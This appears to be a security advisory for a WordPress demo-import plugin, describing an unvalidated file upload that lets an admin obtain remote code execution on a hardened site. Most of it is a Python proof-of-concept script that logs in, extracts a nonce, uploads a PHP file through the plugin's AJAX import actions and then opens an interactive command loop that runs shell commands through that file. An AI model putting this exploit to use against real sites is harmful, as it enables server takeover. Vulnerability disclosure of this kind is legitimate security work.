The plugin does not validate one of the file to be imported, which could allow high privivilege admin to upload an arbitrary PHP file and gain RCE even in the case of an hardened blog (ie DISALLOW_UNFILTERED_HTML, DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS constants set to true)
PoC
Author : qerogram import requests, os, hashlib BASE_URL = “http://localhost:8000” id = “wordpress” pw = “wordpress” def generateFileName() : sha1 = hashlib.sha1() sha1.update(os.urandom(32)) return sha1.hexdigest() def login(id, pw) : sess = requests.Session() sess.post( BASE_URL + “/wp-login.php”, data = { ‘log’: id, ‘pwd’: pw, ‘wp-submit’: ‘%EB%A1%9C%EA%B7%B8%EC%9D%B8’, ‘testcookie’: ‘1’ } ).text return sess def init(sess, wp_nonce) : # we need a reset task! # Because, if not installed redux plugin, occurs upload error! sess.post( BASE_URL + “/wp-admin/admin-ajax.php”, data = { “action” : “ctdi_import_demo_data”, “content_file” : “undefined”, “customizer_file” : “undefined”, “selected” : “undefined”, “security” : wp_nonce, }, files = { “widget_file” : (f"{generateFileName()}.json", “{‘11’:‘22’}”), }, proxies = {“http”:“http://localhost:8080”} ) sess.post( BASE_URL + “/wp-admin/admin-ajax.php”, headers = {“Content-Type”: “multipart/form-data; boundary=----WebKitFormBoundaryUHxlgT04VAl3uVr9”}, data = f"“”------WebKitFormBoundaryUHxlgT04VAl3uVr9 Content-Disposition: form-data; name=“action” ctdi_after_import_data ------WebKitFormBoundaryUHxlgT04VAl3uVr9 Content-Disposition: form-data; name=“security” {wp_nonce} ------WebKitFormBoundaryUHxlgT04VAl3uVr9–“”“, ) def exploit(sess) : check = sess.get( BASE_URL + ‘/wp-admin/themes.php?page=catch-themes-demo-import’ ).text nonce = check[check.find('ajax_nonce”:‘) + 13:] wp_nonce = nonce[:nonce.find(’“')] FileName = generateFileName()[:20] init(sess, wp_nonce) sess.post( BASE_URL + “/wp-admin/admin-ajax.php”, data = { “action” : “ctdi_import_demo_data”, “content_file” : “undefined”, “customizer_file” : “undefined”, “selected” : “undefined”, “security” : wp_nonce }, files = { “widget_file” : (“test4.json”, “{‘11’:‘22’}”), “redux_file” : (f”{FileName}.php", “”), }, ) return FileName def getShell(sess, FileName) : import datetime n = datetime.datetime.now() while True : cmd = input(“$ “) if cmd.lower() == “exit” or cmd.lower() == “quit” : sess.get( BASE_URL + f”/wp-content/uploads/{n.year}/” + (“%02d” % n.month) + f"/{FileName}.php", params = {“qerogram” : f"rm {FileName}.php"} ) break res = sess.get( BASE_URL + f"/wp-content/uploads/{n.year}/" + (“%02d” % n.month) + f"/{FileName}.php", params = {“qerogram” : cmd} ) print(res.text) sess = login(id, pw) FileName = exploit(sess) getShell(sess, FileName)